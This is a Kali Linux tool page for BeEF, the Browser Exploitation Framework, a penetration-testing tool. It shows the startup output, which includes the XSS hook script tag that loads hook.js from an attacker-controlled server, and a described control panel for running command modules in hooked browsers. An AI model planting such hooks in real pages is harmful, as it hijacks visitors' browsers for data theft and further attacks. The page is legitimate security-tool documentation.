

BeEF Package Description

BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.

Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.

Source: <https://beefproject.com/>

[BeEF Homepage](#) | [Kali BeEF Repo](#)

- Author: Wade Alcorn
- License: GPLv2

Tools included in the beef-xss package

beef – Browser Exploitation Framework

The Browser Exploitation Framework.

beef Usage Example

```
root@kali:~# beef-xss
```

```
[*] Please wait for the BeEF service to start.
```

```
[*]
```

```
[*] You might need to refresh your browser once it opens.
```

```
[*]
```

```
[*] Web UI: http://127.0.0.1:3000/ui/panel
```

```
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
```

```
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
```

- beef-xss.service - LSB: BeEF

Loaded: loaded (/etc/init.d/beef-xss; generated)

Active: active (running) since Sat 2018-11-24 18:44:53 EST; 5s ago

Docs: man:systemd-sysv-generator(8)

Process: 3457 ExecStart=/etc/init.d/beef-xss start (code=exited, status=0/SUCCESS)

Tasks: 5 (limit: 4665)

Memory: 151.9M

CGroup: /system.slice/beef-xss.service

└─3463 ruby /usr/share/beef-xss/beef

Nov 24 18:44:53 kali systemd[1]: Starting LSB: BeEF...

Nov 24 18:44:53 kali systemd[1]: Started LSB: BeEF.

[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...

The screenshot shows a web browser window titled "BeEF Control Panel" with a green plus icon in the title bar. The address bar shows "127.0.0.1:3000/ui/panel". The browser's bookmark bar includes "Most Visited", "Offensive Security", "Kali Linux", "Kali Docs", "Exploit-DB", and "Aircrack-ng". The page content is divided into two main sections. On the left, a sidebar titled "Hooked Browsers" contains two folders: "Online Browsers" and "Offline Browsers". The main content area has a tabbed interface with "Getting Started" and "Logs" tabs. The "Getting Started" tab is active, displaying the BeEF logo (a blue bull head) and the text "EeEF THE BROWSER EXPLOITATION FRAMEWORK PROJECT". Below the logo, it provides the official website link "http://beefproject.com/". The "Getting Started" section includes a welcome message and instructions on how to hook a browser, including a link to "Hook Me!". It also explains that hooked browsers will appear in the sidebar and can be in online or offline states. A section titled "Hooked Browsers" describes how to interact with them. At the bottom of the main content area, there are two tabs: "Basic" and "Requester".

BeEF Control Panel

127.0.0.1:3000/ui/panel

Most Visited Offensive Security Kali Linux Kali Docs Exploit-DB Aircrack-ng

BeEF 0.4.5.0-alpha

Hooked Browsers

- Online Browsers
- Offline Browsers

Getting Started Logs

EeEF
THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Official website: <http://beefproject.com/>

Getting Started

Welcome to BeEF!

Before being able to fully explore the framework you will have to 'hook' a browser. To begin with you can point a browser towards the basic demo page [here](#), or the advanced version [here](#).

If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link into your browser's bookmark bar, then simply click the shortcut on another page: [Hook Me!](#)

After a browser is hooked into the framework they will appear in the 'Hooked Browsers' panel on the left. Hooked browsers will appear in either an online or offline state, depending on how recently they have polled the framework.

Hooked Browsers

To interact with a hooked browser simply left-click it, a new tab will appear. Each hooked browser tab has a number of sub-tabs, described below:

- Main:** Display information about the hooked browser after you've run some command modules.
- Logs:** Displays recent log entries related to this particular hooked browser.
- Commands:** This tab is where modules can be executed against the hooked browser. This is where most of the BeEF functionality resides. Most command modules consist of Javascript code that is executed against the selected Hooked Browser. Command modules are able to perform any actions that can be achieved through Javascript: for example they may gather information about the Hooked Browser, manipulate the DOM or perform other activities such as exploiting vulnerabilities within the local network of the Hooked Browser.

Each command module has a traffic light icon, which is used to indicate the following:

- The command module works against the target and should be invisible to the user

Basic Requester

Become a Certified Penetration Tester

Enroll in Penetration Testing with
Kali Linux, the course required to
become an Offensive Security
Certified Professional (OSCP)